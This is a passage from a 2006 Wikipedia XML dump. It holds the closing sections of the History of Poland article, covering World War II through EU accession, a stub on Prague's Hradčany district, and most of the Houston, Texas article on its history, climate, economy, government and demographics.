Resistance against the Nazis in [[Warsaw]], including [[Warsaw Ghetto Uprising|uprising by Jews]] in the [[Warsaw Ghetto]] and the [[Warsaw Uprising]] by the [[Armia Krajowa|Polish underground]], was brutally suppressed. As the Germans retreated in January 1945, they leveled the city.

During the war, about 6 million Polish citizens were killed by Germans, and 2.5 million were deported to Germany for forced labor. In 1941-1943 Ukrainian nationalists (OUN and Ukrainian Insurgent Army) massacred more than 100.000 Poles in Galicia and Volhynia.  About 3 million Jews (all but about 300,000–500,000 of the Jewish population) died of starvation in [[ghettos]] and [[labor camp]]s or were killed in [[extermination camp]]s of Oświęcim ([[Auschwitz concentration camp|Auschwitz II]]), [[Treblinka extermination camp|Treblinka]], [[Majdanek]], [[Belzec]], [[Sobibór]], [[Chełmno extermination camp|Chełmno]], [[List of Polish Martyrology sites]].

About 1.5–2 million Polish citizens  were deported to the [[Soviet Union]], many of them to [[concentration camp]]s and [[labor camp]]s ([[Gulag]]). 

The Soviet government insisted on retaining the territories captured in the course of the [[Nazi-Soviet pact]] (now western [[Ukraine]] and western [[Belarus]]), compensating Poland with one fifth of Germany in its extension of 1937 (&quot;[[Regained Territories]]&quot;). About 8 million Germans were forcefully expelled. As a consequence, more than 1.2 million Germans died or were killed, many of them in 1.255 Polish labor camps (Lambinowice).

==People's Republic of Poland (1945-1989)==
{{mainarticle|[[History of Poland (1945-1989)]], [[People's Republic of Poland]]}}

Following the [[Yalta Conference]] in February 1945, a ''Polish Provisional Government of National Unity'' was formed in June 1945; the [[United States|US]] recognized it the next month. Although the Yalta agreement called for free elections, those held in January 1947 were controlled by the [[PZPR|Communist Party]]. The [[communist]]s then established a regime entirely under their domination.

In October 1956, after the [[Twentieth Party Congress|20th Soviet Party Congress]] at [[Moscow]] ushered in [[destalinization]] and riots by workers in [[Poznań]], there was a shakeup in the communist regime. While retaining most traditional communist economic and social aims, the regime of First Secretary [[Władysław Gomułka]] liberalized Polish internal life.

In 1968, the trend reversed when student demonstrations were suppressed and an [[anti-Zionism|anti-Zionist]] campaign initially directed against Gomułka supporters within the party eventually led to the emigration of much of Poland's remaining Jewish population. In December 1970, disturbances and strikes in the port cities of [[Gdańsk]], [[Gdynia]], and [[Szczecin]], triggered by a price increase for essential consumer goods, reflected deep dissatisfaction with living and working conditions in the country. [[Edward Gierek]] replaced Gomułka as First Secretary.

Fueled by large infusions of Western credit, Poland's economic growth rate was one of the world's highest during the first half of the 1970s.  But much of the borrowed capital was misspent, and the centrally [[planned economy]] was unable to use the new resources effectively. The growing debt burden became insupportable in the late 1970s, and economic growth had become negative by 1979.

In October 1978, the Bishop of Kraków, Cardinal Karol Józef Wojtyła, became [[Pope]] [[Pope John Paul II|John Paul II]], head of the [[Roman Catholic Church]]. Polish Catholics rejoiced at the elevation of a Pole to the papacy and greeted his June 1979 visit to Poland with an outpouring of emotion.

On [[July 1]], [[1980]], with the Polish foreign debt at more than $20 billion, the government made another attempt to increase meat prices. A chain reaction of strikes virtually paralyzed the Baltic coast by the end of August and, for the first time, closed most coal mines in [[Silesia]].  Poland was entering into an extended crisis that would change the course of its future development.

On [[31 August]], [[1980]], workers at the Lenin Shipyard in [[Gdańsk]], led by an electrician named [[Lech Wałęsa]], signed a 21-point agreement with the government that ended their strike. Similar agreements were signed at [[Szczecin]] and in [[Silesia]]. The key provision of these agreements was the guarantee of the workers’ right to form independent [[trade union]]s and the right to strike. After the Gdańsk agreement was signed, a new national union movement &quot;[[Solidarity]]&quot; swept Poland.

The discontent underlying the strikes was intensified by revelations of widespread corruption and mismanagement within the Polish state and party leadership. In September 1980, Gierek was replaced by [[Stanisław Kania]] as First Secretary.

Alarmed by the rapid deterioration of the PZPR's authority following the Gdańsk agreement, the Soviet Union proceeded with a massive military buildup along Poland's border in December 1980. In February 1981, Defense Minister Gen. [[Wojciech Jaruzelski]] assumed the position of Prime Minister as well, and in October 1981, he also was named party First Secretary. At the first Solidarity national congress in September–October 1981, Lech Wałęsa was elected national chairman of the union.

===Martial law===

On [[December 12]]–[[December 13|13]], the regime declared [[martial law]], under which the army and [[ZOMO]] riot police were used to crush the union.  Virtually all Solidarity leaders and many affiliated intellectuals were arrested or detained.  The United States and other Western countries responded to martial law by imposing economic sanctions against the Polish regime and against the Soviet Union. Unrest in Poland continued for several years thereafter.

In a series of slow, uneven steps, the Polish regime rescinded martial law. In December 1982, martial law was suspended, and a small number of political prisoners were released. Although martial law formally ended in July 1983 and a general amnesty was enacted, several hundred political prisoners remained in jail.

In July 1984, another general amnesty was declared, and two years later, the government had released nearly all political prisoners. The authorities continued, however, to harass dissidents and Solidarity activists. Solidarity remained proscribed and its publications banned.  Independent publications were censored.  

&lt;!-- Merge? At the [[Yalta Conference]] the Allies broadly agreed to the Soviet proposals for Poland's future borders and to reconstitution of the Polish government, which initiated Poland's absorption into the Soviet sphere of influence. A Polish People's Republic (''Polska Rzeczpospolita Ludowa'') was created under communist party rule after a brief period of coalition government.  With the approaching collapse of the [[USSR]], power passed in 1989 to the opposition led by the [[Solidarity]] trade union movement. 

Labor turmoil in 1980 led to the formation of an independent trade union &quot;[[Solidarity]]&quot; (''Solidarność'') that over time became a political force and in 1989–1990 swept elections to both parliament and the presidency, displacing the communist party from government. --&gt;
==The Third Republic (1989-present)==
{{mainarticle|[[History of Poland (1989-present)]] and [[Third Polish Republic]]}}

A ''[[shock therapy (economics)|shock therapy]]'' program during the early 1990s enabled the country to transform its economy into one of the most robust in [[Central Europe]].

Poland joined [[NATO]] on [[May 27]], [[1999]] and the [[European Union]] on [[May 1]], [[2004]].

==See also==
* [[Ancient Polish units of measurement]]
* [[Myths from Polish history]]
* [[History of Europe]]
* [[History of present-day nations and states]]

==External links==
* [http://www.badley.info/history/Poland.country.year.index.html Poland Chronology World History Database]
* [http://historicaltextarchive.com/books.php?op=viewbook&amp;bookid=1 A History of East Central Europe by Oscar Halecki]

===Maps===
* [http://www.piastowie.kei.pl/piast/mapy/1.htm Poland and West-Slavs 800-950]
* [http://www.piastowie.kei.pl/piast/mapy/2.htm Poland 990-1040]
* [http://www.piastowie.kei.pl/piast/mapy/3.htm Poland 1040-1090]
* [http://www.piastowie.kei.pl/piast/mapy/4.htm Poland 1090-1140]
* [http://www.piastowie.kei.pl/piast/mapy/10.htm Poland 1140-1250]
* [http://www.piastowie.kei.pl/piast/mapy/12.htm Poland 1250-1290]
* [http://www.piastowie.kei.pl/piast/mapy/13.htm Poland 1290-1333]
* [http://www.piastowie.kei.pl/piast/mapy/17.htm Poland 1333-1350]
* [http://piastowie.kei.pl/piast/mapy/kwmapa.htm Poland 1350-1370]
* [http://www.kresy.co.uk/Images/map.jpg Poland 1550]
* [http://www.forumnobilium.net/Poland%201677.jpg Poland 1677]
* [http://ornatowski.com/maps/rzeczpospolita1773.jpg Poland 1773]
* [http://www.iirzeczpospolita.px.pl/images/mapapolski.jpg Poland 1939]
* [http://www.michalowo.ug.gov.pl/bip/image/wojewodztwa.jpg Poland 2004]
* [http://rw46.webpark.pl/poczet/poczet.htm Poland (flash version)]

[[Category:History of Poland| ]]
[[Category:History of Europe|Poland]]

[[cs:Dějiny Polska]]
[[de:Geschichte Polens]]
[[fr:Histoire de la Pologne]]
[[ga:Stair na Polainne]]
[[ko:폴란드의 역사]]
[[it:Storia della Polonia]]
[[he:היסטוריה של פולין]]
[[lv:Polijas vēsture]]
[[lt:Lenkijos istorija]]
[[nl:Geschiedenis van Polen]]
[[ja:ポーランドの歴史]]
[[pl:Historia Polski]]
[[pt:História da Polónia]]
[[ru:История Польши]]
[[sv:Polens historia]]
[[uk:Історія Польщі]]
[[zh:波兰历史]]</text>
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  </page>
  <page>
    <title>Hradčany</title>
    <id>13773</id>
    <revision>
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      <timestamp>2006-01-04T09:06:27Z</timestamp>
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      <minor />
      <comment>robot  Modifying: de</comment>
      <text xml:space="preserve">[[Image:Hradcany.JPG|thumb|Hradčany from the Petřín Tower]]
'''Hradčany''' ({{Audio|Cs-Hradcany.ogg|listen}}), the '''Castle District''', is the [[Prague]] district surrounding the [[Prague Castle]].

The castle is said to be the biggest castle in the world at about 570 meters length and an average of about 130 meters wide. Its history stretches back to the [[8th century]]. The [[St Vitus Cathedral]] is located in the castle area.

Hradčany was an independent borough until [[1784]], when the four independent boroughs that had formerly constituted [[Prague]] were proclaimed a single city. The other three were [[Lesser Quarter]], [[Old Town, Prague|Old Town]] and [[New Town, Prague|New Town]]. 

==External links==

* [http://www.prague-city.cz/ Official Website]

{{Czechia-geo-stub}}
{{Euro-struct-stub}}

{{Template:Prague districts}}

[[Category:Districts of Prague]]

[[ar:هارادشاني]]
[[cs:Hradčany]]
[[de:Hradčany]]
[[eo:Hradčany (Prago)]]
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[[sv:Hradčany]]</text>
    </revision>
  </page>
  <page>
    <title>Houston, Texas</title>
    <id>13774</id>
    <revision>
      <id>42069960</id>
      <timestamp>2006-03-03T16:41:28Z</timestamp>
      <contributor>
        <username>Beeblebrox5000</username>
        <id>470441</id>
      </contributor>
      <comment>rv to version by Wv235</comment>
      <text xml:space="preserve">:''&quot;Houston&quot; redirects here. For other uses, see [[Houston (disambiguation)]].''
{{Infobox City |official_name = Houston, Texas
|nickname = Space City
|website = [http://www.houstontx.gov www.houstontx.gov]
|image_skyline = SUC30003.JPG
|image_flag = Us-tx-hu.png
|image_seal = CitySeal.PNG
|image_map = HoustoninTexas.PNG
|map_caption = Location in the state of [[Texas]]
|subdivision_type = [[Counties of the United States|Counties]]
|subdivision_name = [[Harris County, Texas|Harris County]]&lt;br&gt;[[Fort Bend County, Texas|Fort Bend County]]&lt;br&gt;[[Montgomery County, Texas|Montgomery County]]
|leader_title = [[Mayor]]
|leader_name = [[Bill White (mayor)|Bill White]]
|area_magnitude = 1 E8
|area_total = 601.7 mi² / 1,558.4
|area_land = 579.4 mi² / 1,500.7
|area_water = 22.3 mi² / 57.7
|population_as_of = 2004
|population_total = 2,012,626
|population_metro = 5,180,443
|population_density = 502.6 mi² / 1,301.8
|timezone = [[Central Standard Time Zone|CST]]
|utc_offset = -6
|timezone_DST = [[Central Daylight Time|CDT]]
|utc_offset_DST = -5
|latd = 29
|latm = 45
|lats = 25
|latNS = N
|longd = 95
|longm = 22
|longs = 12
|longEW = W
|elevation = 14
|footnotes =
}}
'''Houston''' is the largest city in the state of [[Texas]] and the fourth-largest in the [[United States|United&amp;nbsp;States]]. The city is also large in geographic area; it covers more than 600 square miles (1,558.4 km²) and is the [[county seat]] of [[Harris County, Texas|Harris&amp;nbsp;County]]&amp;mdash;the third most populous in the country. Houston is one of 11 U.S. [[global city|global cities]] as it is ranked &quot;Gamma&amp;nbsp;World&amp;nbsp;City&quot; by the Globalization and World Cities Study Group &amp; Network.

As of the [[2000]] [[U.S. Census]], Houston had a total population of 1.9 million (though a [[July 1]], [[2004]] U.S. Census estimate placed the city's population at more than 2 million). The city is the heart of the [[Greater Houston|Houston-Sugar&amp;nbsp;Land-Baytown metropolitan area]], which is the largest cultural and economic center of the [[Gulf Coast of the United States|Gulf&amp;nbsp;Coast]] region and is the seventh-largest [[United States metropolitan area|metropolitan area]] in the U.S. with a population of 5.2 million in ten counties. 

Houston is world renowned for its [[energy]] (particularly [[petroleum|oil]]) and [[aeronautics]] industries and for its ship channel. The [[Port of Houston]] is the sixth-largest port in the world. It is the busiest port in the United States in foreign tonnage and second in overall tonnage. Second only to [[New York City]] in [[Fortune 500]] headquarters, Houston is the seat of the internationally-renowned [[Texas Medical Center]], which contains the world's largest concentration of research and [[healthcare]] institutions. 

Known for the vibrancy of its [[visual arts|visual]] and [[performing arts]], Houston's Theater District is ranked second in the country in the number of [[theatre]] seats in a concentrated downtown area per capita and has world-class visual and performing arts organizations. The city is also close to sunny [[beach]]es as well as one of the United States' largest concentrations of pleasure boats and tourist attractions.

Officially, Houston is [[nickname]]d the ''&quot;Space&amp;nbsp;City&quot;'' as it is home to [[NASA]]'s [[Lyndon B. Johnson Space Center]], where [[Mission Control Center]] is located (because of this, &quot;Houston&quot; was the first word spoken on the [[moon]]). 

==History==
:''Main article: [[History of Houston]]''

===Houston's founding===
In the mid-1800s, two brothers who were [[New York]] real estate promoters, [[John Kirby Allen]] and [[Augustus Chapman Allen]], sought a location where they could begin building &quot;a great center of government and commerce.&quot; In [[August]] [[1836]], they purchased 6,642 acres (27 km²) of land from T. F. L. Parrot, [[John Austin]]'s widow, for $9,428. The Allen brothers named their town after [[Sam Houston]] and eventually persuaded the [[Texas Legislature]] to designate the site as the temporary [[capital]] of the new [[Republic of Texas]]. 

Houston started out as a [[hamlet (place)|hamlet]]. Gail and Thomas H. Borden surveyed and mapped the town in typical grid fashion, with wide streets running parallel and perpendicular to the area's system of [[bayous]]. The city was granted [[incorporation (municipal government)|incorporation]] on [[June 5]], [[1837]], and James S. Holman became the first [[mayor]]. That same year, Houston also became the [[county seat]] of Harrisburg County, which was renamed [[Harris County]] in [[1839]]. Houston was then made temporary capital of the Republic of Texas. On [[January 14]], 1839, the capital was moved to [[Austin, Texas|Austin]], then known as [[Waterloo, Texas|Waterloo]].

===Early settlers===
[[Image:Houston streetcar.jpg|250px|thumb|left|Houston streetcar no. 49, circa 1890]]
Early settlers used [[lumber]] to build frame houses, [[ditch]]es for drainage, and pigs to clean the streets. Lawlessness, epidemics and financial problems prompted the people of the community to attempt to improve their living conditions, including establishing a [[Chamber of Commerce]]. Spurred by that desire, state Senator Robert Wilson introduced a bill in the Congress of the Republic on [[November 26]], [[1838]], to charter the Houston Chamber of Commerce. Because many of the first settlers were from the [[Southern United States|South]], they endorsed the [[slavery]]-[[plantation]] system. [[Slavery|Slaves]] lived scattered through the neighborhoods,though there were few free blacks in the city. 

[[Yellow fever]] struck periodically, but in 1839 the disease devastated the fledgling city, killing about 12 percent of its population.  

In [[1840]], the city was divided into four [[ward (politics)|ward]]s, each with different community functions. The wards are no longer [[political division]]s today, though their names are still used to refer to geographic areas. The Allen brothers began to promote Houston as a place to live at the same time the Republic of Texas started promoting colonization of Texas.

By [[1860]] Houston began to emerge as a commercial and railroad hub for the export of cotton. Railroad spurs from the Texas inland converged in Houston, where they met rail lines to the ports of Galveston and [[Beaumont, Texas|Beaumont]]. During the [[American Civil War|Civil War]], Houston served as a headquarters for General [[John Bankhead Magruder]], which he used as his organizing point for the [[Battle of Galveston]]. Houston saloon keeper [[Dick Dowling]] became the city's first famous personality after his victory at the battle of [[Sabine Pass]] in [[1863]].

After the Civil War, Houston businessmen initiated efforts to widen the city's extensive system of [[bayou]]s so the city could accept more commerce between downtown and the nearby Port of Galveston. After several privately-financed dredging projects in the 1860's and 1870's, the United States government took over the Houston Ship Channel project in [[1881]].  By 1914, the Houston Ship Channel was dredged to give Houston a deep-water port, replacing Galveston's port which was destroyed in the Great Hurricane of 1900.

===20th century===
[[Image:Shuttleoverjsc.jpg|thumb|250px|right|The space shuttle, atop its [[Boeing 747]], flying over NASA's Johnson Space Center in suburban Houston.]]
In [[1900]], Houston's population was about 45,000, making it the 85th largest city in the United States. In [[1948]], several [[suburb]]s were incorporated into the [[city limits]], and Houston proper began to spread across the [[prairie]]. Shipbuilding during [[World War II]] spurred Houston's growth, as well as the establishment in [[1961]] of NASA's &quot;Manned Spacecraft Center&quot; (renamed the Lyndon B. Johnson Space Center in [[1973]]), which created the city's [[aerospace]] industry. The [[Reliant Astrodome|Astrodome]], an indoor domed sports stadium, the first of its kind in the world opened in 1965 as the Harris County Domed Stadium and was nicknamed the ''&quot;Eighth Wonder of the World.&quot;''

Houston benefited from high oil prices in the 1970s, but its reliance on petroleum as the base of its industry led to its downfall when oil prices collapsed in the 1980s. Since then, Houston has made efforts to diversify its economy, focusing on aerospace and biotechnology, and reducing its dependence on petroleum. 

In [[1981]], [[Kathryn J. Whitmire]] became the city's first female mayor and held that position for 10 years. 

[[Hurricane Alicia]] hit the Houston area in [[1983]] as a Category 3 storm. 

Houston's first [[African American]] mayor, [[Lee P. Brown]], was elected in [[1997]]. 

===The new millennium===
[[Image:Tropical Storm Allison.jpg|thumb|250px|left|The &quot;500-year&quot; flood from [[Tropical Storm Allison|Tropical&amp;nbsp;Storm&amp;nbsp;Allison]].]]
In [[2001]], [[Tropical Storm Allison]] dumped feet of rain on the city, causing billions of dollars in damages and taking 43 lives. To date, the flooding caused by Allison was the worst in the city's history. Many neighborhoods have changed since the storm; older houses in some affected neighborhoods have been torn down and replaced with larger houses with larger foundations.

In the wake of [[Hurricane Katrina]] ([[August]] [[2005]]), Houston provided shelter to more than 25,000 refugees from [[New Orleans]], [[Louisiana]] in various facilities around the city, including the infrequently-used [[Reliant Astrodome]] stadium. This unprecedented situation has lasted several months, and involves Houston area public school systems, which is providing education for child refugees. According to [[CNN]], around 230,000 people from the [[New Orleans]] metropolitan area are now living in the Houston area, whether in shelters or elsewhere.  Hurricane Katrina refugees have swelled the city proper's population past 2.5 million. It is unclear how that [[variable]] will fluctuate in the coming months. Some have speculated that, because of a variety of social and economic factors, the enormous population shift could &amp;mdash; at least in part &amp;mdash; be permanent. 
[[Image:Rita_evacuees_from_Houston_Texas_September_21_2005.jpg|thumb|250px|right|Hurricane Rita evacuation in September 2005]]
Approximately 2.5 million (out of 5.2 million) [[Greater Houston]] area residents evacuated when [[Hurricane Rita]] approached the Gulf Coast. Rita left little damage in the Houston metropolitan area. Dead stop traffic and gas shortages were rampant during the evacuation. This event marked the largest evacuation in the history of the United States. &lt;!-- need something here about the terrible evacuation --&gt;

The city's baseball team, the [[Houston Astros]], advanced to the [[World Series]] for the first time in the team's history on [[October 19]], [[2005]], when the team won game six of the National League Championship series against their traditional rival the [[St. Louis Cardinals]], but the Astros subsequently lost the World Series to the [[Chicago White Sox]], who swept the series four to zero.

::''See also: [[Historical events of Houston, Texas|Historical events of Houston]]''

==Geography and climate==
===Geography===
[[Image:Large Houston Landsat.jpg|thumb|right|400px|Image taken on [[NASA]]'s [[Landsat 7]] satellite]]
According to the [[United States Census Bureau]], the city has a total area of 1,558.4 [[square kilometre|km²]] (601.7 [[square mile|mi²]]).  1,500.7 km² (579.4 mi²) of it is land and 57.7 km² (22.3 mi²) of it is water.  The total area is 3.7 percent water.

Houston has four major [[bayou]]s passing through the city: [[Buffalo Bayou]], which runs into downtown; Brays Bayou, which runs along the [[Texas Medical Center]]; White Oak Bayou, which runs through the Heights and near the northwest area; and Sims Bayou, which runs through the south of Houston and downtown Houston, merging into the ship channel. The ship channel goes past [[Galveston, Texas|Galveston]] and into the [[Gulf of Mexico]].

Much of Houston is very flat, making flooding a recurring problem for its residents. The city stands about 50 feet (15 m) above sea level; the [[Houston Heights|Houston&amp;nbsp;Heights]] area has the highest elevation in the city. The city once relied on [[groundwater]] for its water needs, but land subsidence forced the city to turn to ground-level water sources such as [[Lake Houston|Lake&amp;nbsp;Houston]].

===Geology===
Underpinning Houston's land surface are unconsolidated [[clay]]s, clay [[shale]]s, and poorly-cemented [[sand]]s extending to depths of several miles. The region's [[geology]] developed from stream deposits from the erosion of the [[Rocky Mountains]]. These [[sediment]]s consist of a series of sands and clays deposited on decaying organic matter that, over time, was transformed into oil and natural gas. Beneath these tiers is a water-deposited layer of [[halite]], a rock salt. The porous layers were compressed over time and forced upward. As it pushed upward, the salt dragged surrounding sediments into dome shapes, often trapping oil and gas that seeped from the surrounding porous sands. 

The Houston region is generally [[earthquake]]-free. While the city of Houston contains 86 mapped and historically active surface [[geologic fault|faults]] with an aggregate length of 149 miles, the clay below the surface precludes the buildup of friction that produces ground shaking in earthquakes. These faults generally move at a smooth rate in what is termed &quot;fault creep.&quot;

===Climate===
Houston's climate is classified as being [[humid subtropical climate|humid&amp;nbsp;subtropical]]. The city is located in the gulf coastal plains [[biome]], and its vegetation is classified as temperate grassland.  Much of Houston was built on [[forest|forested land]], [[marsh]]es, [[swamp]], or [[prairie]], all of which can still be seen in surrounding areas. Average yearly precipitation levels range from 36 to 48 inches (910 to 1220 mm). Prevailing winds are from the south and southeast during most of the year, bringing heat from the deserts of [[Mexico]] and moisture from the [[Gulf of Mexico]].

In the [[summer]], daily high temperatures are in the 95 °F to 102 °F (35 °C to 39 °C) range throughout much of July and August.[http://www.weather.com/activities/other/other/weather/climo-monthly-graph.html?locid=USTX0617] The air tends to feel still and the humidity (often 90 to 100 percent [[relative humidity]]) results in a [[heat index]] higher than the actual temperature. To cope with the heat, people use [[air conditioning]] in nearly every car and building in the city. Summer [[thunderstorm]]s sometimes bring [[tornado]]es to the area. Afternoon rains are not uncommon, and most days Houston meteorologists predict at least some chance of rain. The hottest [[temperature]] ever recorded in Houston was 109 &amp;deg;F (43 &amp;deg;C){{citation needed}} on [[September 4]], [[2000]].

[[Winter]]s in Houston are cool and temperate. Many days the temperatures are between the 45 °F and 55 °F (7 °C and 16 °C). The coldest period is usually in January, when north winds bring winter rains.  Snow is almost unheard of, and typically does not accumulate when it is seen. The last snowstorm to hit Houston was on [[Christmas Eve]], [[2004]]; only a few inches accumulated and it was all melted by the next afternoon. The coldest [[temperature]] ever recorded in Houston was 5 &amp;deg;F (&amp;minus;15 &amp;deg;C) on [[January 23]], [[1940]].

Houston's climate is often compared to that of [[Dallas, Texas|Dallas]]. Both cities experience temperatures above 90 °F during summer; however, Dallas has a dry climate while Houston has a very [[humid]] climate. While Dallas gets hotter temperatures, Houston's higher humidity levels often result in a higher heat index.  During the winter, though, Dallas regularly experiences temperatures below freezing, while Houston rarely does.

Houston is has the fifth worst ozone air pollution in the nation according to the [[American Lung Association]], worse than [[Dallas, Texas|Dallas]] and [[New York City]] but better than [[Los Angeles]] and [[Fresno, California]].[http://www.lungusa.org/site/pp.asp?c=dvLUK9O0E&amp;b=50752]

==Economy==
[[Image:Port of Houston.jpg|275px|thumb|left|The Port of Houston]]
Houston's [[energy]] industry is a world powerhouse (particularly [[petroleum|oil]]), but [[biomedical]] research, [[aeronautics]] and the ship channel are also large parts of the city's [[industry|industrial]] base. The Houston metro area comprises the largest [[petrochemical]] manufacturing area in the world, including for [[synthetic rubber]], [[insecticide]]s and [[fertilizer]]s. The area is also the world's leading center for building [[oilfield]] equipment. Much of Houston's success as a [[petrochemical]] complex is due to its man-made ship channel, the [[Port of Houston]], which is one of the busiest [[port]]s in the United States and second in the world in foreign [[tonnage]]. Because of these economic trades, many residents have moved to Houston from other U.S. states, as well as hundreds of countries worldwide. Unlike most places, where high [[gas]] prices are seen as harmful to the economy, they are generally seen as beneficial for Houston as many are employed in the [[energy]] industry. 

Historically, Houston has had several growth spurts (and some devastating [[economic recession]]s) related to the oil industry. The discovery of oil near Houston in [[1901]] led to its first growth spurt &amp;mdash; by the [[1920s]], Houston had grown to almost 140,000 people.  The city's burgeoning [[aerospace]] industry heralded its second growth spurt, which solidified with the [[1973 oil crisis]]. Demand on Texas oil increased, and many people from the northeast 
moved to Houston to profit from the trade. When the [[embargo]] was lifted, the growth mostly stopped. However, [[Pasadena, Texas|Pasadena]] still has its refineries, and the Port of Houston is among the busiest in the world.

Houston is second to New York City in [[Fortune 500]] headquarters. It has attempted to build a [[bank|banking]] industry, but the companies originally started in Houston have since merged with other companies nationwide. Banking is still vital to the region, but most of the banks operating in the city are not based there. [[Real estate]] is also a large presence in the Houston area.

&lt;!--How is this ADV thing significant to Houston's economy?--&gt;
:''See also: [[List of companies in Houston, Texas|List of companies in Houston]]''

==Government and politics==
[[Image:Houston City Hall.jpg|275px|thumb|right|Houston City Hall]]

Founded in [[1836]] and incorporated in [[1837]], Houston is one of the fastest growing major cities in the United States and the largest without [[zoning]] laws. The city is the [[county seat]] of [[Harris County, Texas|Harris County]]. A portion of southwest Houston extends into [[Fort Bend County, Texas|Fort&amp;nbsp;Bend County]] and a small portion in the northeast extends into [[Montgomery County, Texas|Montgomery County]].

The city of Houston has a strong [[Mayor-council government]]. The City's elected officials, serving concurrent two year terms, are: the [[Mayor]], the City [[Controller]] and the 14 members of [[City council|City Council]]. The City Charter provides the constitutional framework within which city government operates. The City's Code of Ordinances contains the laws of the City.

Under the strong Mayor-Council government, the Mayor serves as the Executive Officer of the City. As the City's chief administrator and official representative, the Mayor is responsible for the general management of the City and for seeing that all laws and [[ordinance]]s are enforced.

The current mayor is [[Bill White (mayor)|Bill White]], who is serving his second term. In Houston, a [[mayor]] can be elected consecutively for three terms. [[City Council]] members, who also have a three-term limit, are elected from nine districts in the city, along with five at-large positions. At-large council members represent the entire city.  The current city council lineup was based on a U.S. Justice Department mandate which took effect in 1979.  Houston is a [[devolution|home rule]] city and all municipal elections in the state of Texas are [[nonpartisan]].

Many local [[lawmaker]]s have been impacted by the city's term limits. Several former city officials&amp;mdash;Anthony Hall, Rodney Ellis, [[Sheila Jackson-Lee]], Sylvia Garcia, Martha Wong, [[Chris Bell]], and Annise Parker&amp;mdash;had to run for another elected position once their term expired.  

Former mayor [[Lee P. Brown]] denounced the [[term limit]]s, saying they prevented incumbents from gaining enough experience in city government. A proposal to double the current two-year term of office has been debated&amp;mdash;as of 2005, several candidates for the city council have brought up the issue of whether term limits should be amended or eliminated.

Some elected officials from the Greater Houston area within the [[Texas Legislature]]&amp;mdash;primarily Garnet Coleman and Sylvester Turner&amp;mdash;have also spoken against term limits.

According to the 2005 Houston Area Survey, 67% of whites in the city are declared or favor [[Republican Party (United States)|Republicans]] while 88% of blacks in the city are declared or favor [[Democratic Party (United States)|Democrats]]. 58% of Latinos in the city are declared or favor Democrats. Overall Houston is a socially conservative city; 54% of Houston residents oppose abortion and 49% believe &quot;homosexuality is morally wrong.&quot;[http://cohesion.rice.edu/centersandinst/has/powerpoint.cfm]

::''See also:''
:::*''[[List of Houston mayors]]''
:::*''[[List of consulates in Houston, Texas|List of consulates in Houston]]''

==Demographics==
{| class=&quot;wikitable&quot; style=&quot;float:right; margin-left:3px; text-size:80%; text-align:right&quot;
|align=center colspan=2| '''City of Houston &lt;br&gt;Population by year [http://www.houstonhistory.com/ ] [http://www.census.gov/population/www/documentation/twps0027.html]'''
|-
|[[1850]] || 2,396
|-
|[[1860]] || 4,845
|-
|[[1870]] || 9,332
|-
|[[1880]] || 16,513
|-
|[[1890]] || 27,557
|-
|[[1900]] || 44,633
|-
|[[1910]] || 78,800
|-
|[[1920]] || 138,276
|-
|[[1930]] || 292,352
|-
|[[1940]] || 384,514
|-
|[[1950]] || 596,163
|-
|[[1960]] || 938,219
|-
|[[1970]] || 1,232,802
|-
|[[1980]] || 1,595,138
|-
|[[1990]] || 1,630,553
|-
|[[2000]] || 1,953,631
|}

As of the [[census]]{{GR|2}} of [[2000]], there are 1,953,631 people, 717,945 households, and 457,330 families residing in the city.  The [[population density]] is 1,301.8/km² (3,371.7/mi²).  There are 782,009 housing units at an average density of 521.1/km² (1,349.6/mi²).  The racial makeup of the city is 49.27% [[White (U.S. Census)|White]], 25.31% [[African American (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.44% [[Native American (U.S. Census)|Native American]], 5.31% [[Asian (U.S. Census)|Asian]], 0.06% [[Pacific Islander (U.S. Census)|Pacific Islander]], 16.46% from [[Race (U.S. Census)|other races]], and 3.15% from two or more races.  37.41% of the population are [[Hispanic American|Hispanic]] or [[Latino (U.S. Census)|Latino]] of any race.

There are 717,945 households out of which 33.1% have children under the age of 18 living with them, 43.2% are [[Marriage|married couples]] living together, 15.3% have a [[female]] householder with no husband present, and 36.3% are non-families. 29.6% of all households are made up of individuals and 6.2% have someone living alone who is 65 years of age or older.  The average household size is 2.67 and the average family size is 3.39.

In the city the population is spread out with 27.5% under the age of 18, 11.2% from 18 to 24, 33.8% from 25 to 44, 19.1% from 45 to 64, and 8.4% who are 65 years of age or older.  The median age is 31 years.  For every 100 [[female]]s there are 99.7 males.  For every 100 [[female]]s age 18 and over, there are 97.8 males.

The median income for a household in the city is $36,616, and the median income for a family is $40,443. Males have a median income of $32,084 versus $27,371 for females. The [[per capita income]] for the city is $20,101.  19.2% of the population and 16.0% of families are below the [[poverty line]].  Out of the total population, 26.1% of those under the age of 18 and 14.3% of those 65 and older are living below the poverty line.

===Crime===
Houston is currently going through a spike in crime due in part to an influx of refugees from [[New Orleans]] into the city following [[Hurricane Katrina]]. Houston recorded 336 murders in [[2005]], in comparison to 272 in [[2004]]. Murders in Houston peaked at 702 back in 1981. Though many blame the violence on some of the estimated 150,000 to 200,000 former residents of New Orleans who now live in Houston — doubtless with at least a few criminals among them — police records show that crime was on an upward trend in the city even before Hurricane Katrina, though the trend was much more pronounced after the arrival of the refugees; a sudden surge in the population without a concurrent expansion of critical city services like police obviously compounded the problem as well.

Despite the rise in homicides, overall crime in Houston dropped by 2% in 2005 compared to 2004.

*  Houston crime statistics can be downloaded [http://www.houstontx.gov/police/stats2.htm here].
*  Some articles about the post-Katrina surge in violence can be viewed [http://www.city-journal.org/html/eon2006-01-04ng.html here] and [http://www.washingtonpost.com/wp-dyn/content/article/2006/02/05/AR2006020500884.html here].

==People and culture==
[[Image:Houston Tranquility Park.jpg|275px|thumb|left|Tranquility Park in Downtown]]
Officially, Houston is [[nickname]]d the ''&quot;Space&amp;nbsp;City&quot;'' as it is home to [[NASA]]'s [[Lyndon B. Johnson Space Center]], where [[Mission Control Center]] is located. Because of this, &quot;Houston&quot; was the first word spoken on the [[moon]]. Many locals, however, prefer to call it the ''&quot;Bayou City.&quot;'' Other nicknames include ''&quot;H-Town,&quot;'' ''&quot;Screwston,&quot;'' ''&quot;Clutch&amp;nbsp;City,&quot;'' and ''&quot;Magnolia&amp;nbsp;City.&quot;''

